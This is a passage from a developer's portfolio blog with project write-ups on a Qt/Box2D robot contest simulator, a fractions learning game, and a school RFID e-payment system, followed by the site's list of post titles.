What is GPIO? General purpose input/output. In layman's terms: communicating with 1s and 0s. An example of a sensor which uses GPIO is an infrared (IR) sensor, which detects if an object is present within a certain distance in a fixed direction.

I won't describe the communication model between the simulator and user program in detail, since it's a bit convoluted and messy. (Although you can still check it out.) But suffice to say, there are advantages and disadvantages. An advantage is that the simulator and user program are decoupled, so the simulation would look nice and appear smooth. A disadvantage of our implementation is that the two programs (simulator and user) run asynchronously; and due to timing issues, this means that the simulation runs differently each time we hit "Run" (even without setting any randomness to our input).

This disadvantage seems to heavily outweigh the advantage; but in our defence, it simulates the real world of robotics perfectly. Even though the microcontroller processors are designed to be deterministic, sensor input and motor control are almost always non-deterministic (i.e. random) to a certain degree. :P

The communication model was inspired by Codingame's turn-based games. However, Codingame's turn based system provides all available input every single turn. In the RDC emulator, we only provide input if the user program requests it. Why? Well... in retrospect, we could have sent all available input... but by the time we realised this, it was a bit too late to change, otherwise we would break a lot of the code trainees have already written. Codingame's turn-based model is certainly much cleaner though.

Developing the Simulator

Project Management

We used our good friend GitHub projects and GitHub issues for project management and issue tracking.

Some general thoughts looking back:

The kanban boards that GitHub projects provides turned out to be quite effective in organising to-dos. It allowed all our project members to see the active and completed to-dos.
- One addition I made was adding a "Priority To-Do" column to help better prioritise our to-dos.
- Automation was pretty handy. When I closed an issue or linked+merged a pull request, the relevant card in the GitHub project would be automatically moved from to "Done".
The milestones feature wasn't too bad as it helped group to-dos under similar milestones. But in the end, we didn't really check up on it and ran over some deadlines. Perhaps it is more effective if paired with regular progress updates and meetings, but we had neither of those here.
Unrelated to GitHub, but I decided to set up a .clang-format file and standardise formatting, because it's that important. :P
- Qt has a nice ClangFormat plugin. One of my other teammates managed to set up Qt on VSCode, so he has direct access to all the other nice VSCode stuff.

Coding

We used Qt as our GUI framework since most of us were familiar with it. We would have gone with C++20 had QtCreator fully supported it, so we had to be content with C++17. Some points of interest:

QGraphicsView and QGraphicsItem are pretty nice. Just pay attention to your axes and frame of reference.
We used QPlainTextEdit for the logging widget. It's pretty good.
- We extended it with a custom slot for pushing log messages and highlighting them depending on a log level.
- e.g. "Warning" messages are orange, "Error" messages are red, and "Success" messages are green.
QProcess is also pretty nice and feature-rich. I ended up inheriting from it and tacking on some custom signals and slots.
Qt's UI designer is a blessing.
- Since we derived new classes for QGraphicsView (for drawing the simulation) and QPlainTextEdit (for the logger), we had to promote widgets in the UI designer. The process was rather straightforward, I think.
C++ parameter packs are pretty fun to write, as they have all the flexibility of varargs combined with type safety.
For those curious how we simulated the camera, we used perspective transform to render a 2D image in a 3D style. The only limitation was that there was no height information, so a tall pole would still appear flat at ground level. Nevertheless, it was good enough to generate input for the camera sensor. Its main use case is for detecting the black lines along the white/black track.
- QTransform::quadToQuad and QImage::transformed were really helpful here.

Physics

For physics, we ended up choosing Box2D. We decided to go with this library since it seemed like a simple, mature 2D physics library. We didn't go with 3D engines as they seemed overly complicated and probably require more computational power, not to mention testing and debugging.

One pain point I encountered was that the b2vec2 constructor does not have default values! This caused me grief, since objects were beginning to fly everywhere. And it took a LONG TIME TO DEBUGGGGG!!! I had assumed that since it was a C++-based library, it would have reasonable defaults. Well apparently not.

Documentation

There are various sources for documentation on the RDC simulator. We have documentation related to setup, installation, and administrative procedures and another set of documentation for coding a user program.

Being a rather detail-oriented person, I have become quite fond of checking and double-checking documentation. This may seem overly unnecessary, but it helps to have a link to point to when someone asks a question.

Conclusion

At least two software trainee teams managed to complete the game and score full points.

So was the RDC playable? Yes.
- ~~When developing the simulator, we didn't have a working program to test if the game can be completed. So it was a relief when some teams managed to finish.~~
Did it meet our objectives of testing trainees' technical and soft skills? Also yes... to some extent.
- Some groups had free riders. There was a case where a group only had one teammate remaining...

Some wisdom to takeaway:

Plan things ahead. It's better to resolve problems earlier on than later down the road. If your product is used by a lot of users, changing something drastic later on may affect your users negatively.
Be organised. Know what to-dos exist, which ones are more important, and when they should be done.
Remember to initialise your Box2D b2vec2s unless you want your physics intentionally broken.

Also, some final reflections:

We had planned a roadmap but started lagging behind. Perhaps the goals were slightly unrealistic, or we didn't consider the stress of the exam period. In my eyes, we could have pushed things a bit earlier so that the trainees had more time to plan. The final features (Demo Mode) were slightly rushed at the end.
Coding-wise, I think we did okay. The only thing to improve was our intellectual capacity so that we could write more sophisticated simulations. Some sensors were hacked together rather awkwardly. But learning takes time.
Probably one thing we could've done better was provide more tips for the trainees. I heard from other seniors that some trainees had difficulty merging their code (which was one way we tested collaborative skills).

Fractons

2019-05-24T00:00:00Z

Fractons is an educational, interactive fractions game for elementary students made using Felgo/QML. The project is published online along with a release build for macOS.

Features

Exp + Levelling Mechanics 📈
Clean, slick, and bubbly UI
5 different question modes!
40+ achievements (including secret achievements! 🤫)
Statistics, to see how well you're doing
Fun little lottery system
Number pad (for mobile/tablets), configurable in settings
Daily quests! 🤠
SFX and background music 🎵
Floating fractions in the background (with the occasional secret! 🤫)
Notifications to notify you when you level up, complete a quest, or earn an achievement

Showcase

^{Main menu. Daily quests are on the left. Achievements, statistics on the top left. Notifications and settings on the top right.}

^{Solving questions in Balance mode. How fast can you fill in the question mark?}

^{Tons of achievements to try to earn!}

History

Fractons was originally programmed in Flash/Actionscript 2.0 for a ninth grade design project targetting fifth/sixth graders. It was later reprogrammed in a more appealing UI with user engagement features such as daily quests and a lottery.

E-Payment Desktop Application and System

2019-05-01T00:00:00Z

This project involved creating a functioning e-payment system to be integrated at our high school's cafeteria.

Context

I was in my penultimate year of high school and summer was approaching. At the time, every single student had a student ID card. They were simple in design with the usual portrait, student name, and expiry date. A friend came to me and suggested "evolving" the student card to be able to use it for electronic transactions (e-payment). The idea is akin to using an MTR Octopus to pay for goodies instead of having to scramble for cash and perform the entire process of calculating plus giving change.

To give a bit more background, our school cafeteria has five to six different local vendors. The school would rent a stall out to tenants who would sell snacks and lunch during the appropriate hours. At the time, the only transaction method is cash.

Also, some background about the card: it's a radio frequency ID (RFID) card. I won't go into the technical details of it, but basically you scan the card on a dedicated reader, and it can read a unique ID.

Development

A Painful Start

Now if you're an experienced software engineer, please bear with me as I take a walk down memory lane (or feel free to skip ahead).

Since I was young and naive at the time (and also because I was unfamiliar with web apps and other possible solutions), I decided to create a desktop application to perform the transactions.

Initially I started developing the application using SFML, since it was the only GUI framework I knew. After struggling with making buttons work and click properly, I switched to Qt which had some added advantages:

It is a much more mature framework, meaning there were tons of resources and form posts available.
It has a drag-and-drop GUI editor.
There are UI classes for widgets (e.g. pushbuttons, checkboxes, listviews), so I didn't have to reinvent the wheel.
It was cross-platform, which was convenient in case the school's computer operating system is different.

If there was one thing I learned, it was to understand the problem first, research the appropriate tools, and then start developing the solution. I wasted maybe two to four weeks coding a good GUI with SFML and scratching my head.

Designing a Robust Solution

Regardless, all the benefits brought by Qt allowed me to focus more on solving business logic issues. The logic issue? Well... there are several questions we should answer.

Who needs to use the application?
How do I store user data across applications?
- This could be vendor data (e.g. food names, food prices) or student data (e.g. name, balance).

To answer (1), we identify three groups of people: vendors, students, and admins. Admins are the school staff who will be responsible for updating a student's balance; similar to an MTR staff sitting in the customer service booth.

All three groups should have different access rights. For example, vendors and students shouldn't be able to add to their balance, only admins can do that.

Moreover, since their roles are different, the interfaces they see should also be different. A vendor shouldn't need to see an admin-level page, since it's unrelated to their function.

To solve (2), we could simply use a text file. Load data on startup, save data every time something changes. But this only works for a single user on a single device. Well... that's what I actually did at the beginning, except I used a SQLite database (which is basically a glorified text file made convenient for SQL).

Now the problem with SQLite is that it's serverless. In plain English, it can't cope with multiple users well.

A better alternative was to use MySQL or Microsoft SQL Server, which is designed to handle multiple users (clients, to be precise). Eventually I went with SQL Server, since that was what our school was using.

How does MySQL and SQL Server connect with multiple clients across the network? This is something you'll have to ask the experts. :D

Sidenote on Version Control

When undertaking any project, it is crucial to have flexibility. A version control system offers this.

What is a version control system?

A version control system (VCS) is a software tool which in a sense, takes snapshots (commits) of files and keeps track of them. Traditionally, to keep separate versions of a file, you might copy-paste a folder, name it "myfolder-v2", and so on. There are several reasons why you might want to do this, one example is that you want to keep a bunch of text from the old version and have it on hand if necessary.

VCSs take this idea of versioning and put it on steroids. While developing, you can do a bunch of things. You can jump back to an earlier snapshot (checkout). You could work on a new feature or bugfix (branch) concurrently. Flexibility.

Typically, VCSs are used by teams to effectively manage their code between team members. But they're also effective if you're coding alone! The (outdated) screenshots of the GUI in this post are here thanks to version control holding onto them. (I uploaded them but deleted them in one of my commits.)

If you're planning on doing a project (whether small, medium, or big) or even just cataloguing your learning process, consider using a VCS.

Designing the GUI

As mentioned before, there are three groups of users: vendors, students, and admins.

(The below screenshots are from a long-ago development version, for illustration purposes only.)

This is what the design for the vendor interface looks like:

Giant buttons on the left to select their customers' orders. A list of selected items on the right. And some buttons down below.

The user flow for a transaction is:

Cashiers log in.
Student orders food.
Cashier taps/clicks food items.
Program calculates subtotals and total cost.
Student scans their student ID.
Program verifies if student has enough balance and transacts.
Program records the transaction, updates the student's balance, and prints a receipt.

Most of these steps weren't automated in the beginning. But to reduce the chance of making mistakes (which humans are really good at!), it's best to automate as much as possible.

There are a couple other things vendors can do with the app:

Add menu items
View/print transaction summaries

But these are not very interesting.

Admins, of course, have a more powerful role. These peeps can view and update student's balances (but the actual flows are pretty boring TBH). (Unfortunately I did not save any screenshots of the GUI, and I'm not bothered to redownload Qt just to build the app once. >.>)

Students have the most exciting user flow of all.

And since they have an exciting flow, I'll describe it for fun:

Walk up to the school's library computer.
Shake the mouse to wake up the monitor.
Take out their student card from their wallets or pockets.
If they lost their card, contact ICT support. They may need to pay for a replacement and the previous balance would be lost. :(
Otherwise, they haven't lost it. So they place the card on top of the RFID reader.
Wait one second for the reader to scan the card.
Watch their card ID appear on the screen.
Absorb the details shown on a second page (card number, student ID, balance, whether the card is active).
Leave the site.

Exciting, right?

Current Status

It's been several years since the e-payment system was launched in the summer of 2019, and I hope it has proven useful during the Covid-19 pandemic as students and teachers can avoid spreading germs through cash transactions (coins and cash can be quite dirty!).

When I asked a student about it this year (2022), they said that the entire system was still up and running (a good sign!). Moreover, the school's ICT team has expanded it as a locking mechanism for student lockers. Hopefully it will become a reliable piece of technology and make the school environment safe, clean, and fast.

Takeaways

Spend some time researching the problem you're trying to solve and the possible solutions. You'll accrue less technical debt and thank yourself in the future.
Use a version control system for flexibility and to keep track of history.
Don't be afraid to try something new. The journey might just be worth it.

TrebledJ's Pages

Automating Boolean-Based SQL Injection with Python

What is Boolean-Based Blind SQL Injection?

Optimisations with Binary Search

More SQL Tricks

Adding Multithreading

Threads vs. Processes

Using ThreadPoolExecutor

Adding Comfort Features

Command Line Arguments

Progress Bar

Interactive Interface

Conclusion

Optimising Web Icons for Fun

Icon Webfonts Under the Hood

Fonts and Unicode

Fonts and CSS

Multiple Variants

An Icon Dieting Plan

Where speed?

Cache Busting with Cloudflare Cache Rules

Closing Remarks

STM32 MIDI Keyboard

Synopsis

Development

Concluding Remarks

MuseScore Navigation Plugins

todo-list

Developer’s Note

History

Developer’s Note

Bookmarks

Developer’s Note

Epilogue

Robot Design Contest Simulator

Context

High-Level Overview

Planning

Developing the Simulator

Project Management

Coding

Physics

Documentation

Conclusion

Fractons

Features

Showcase

History

E-Payment Desktop Application and System

Context

Development

A Painful Start

Designing a Robust Solution

Sidenote on Version Control

Designing the GUI

Current Status

Takeaways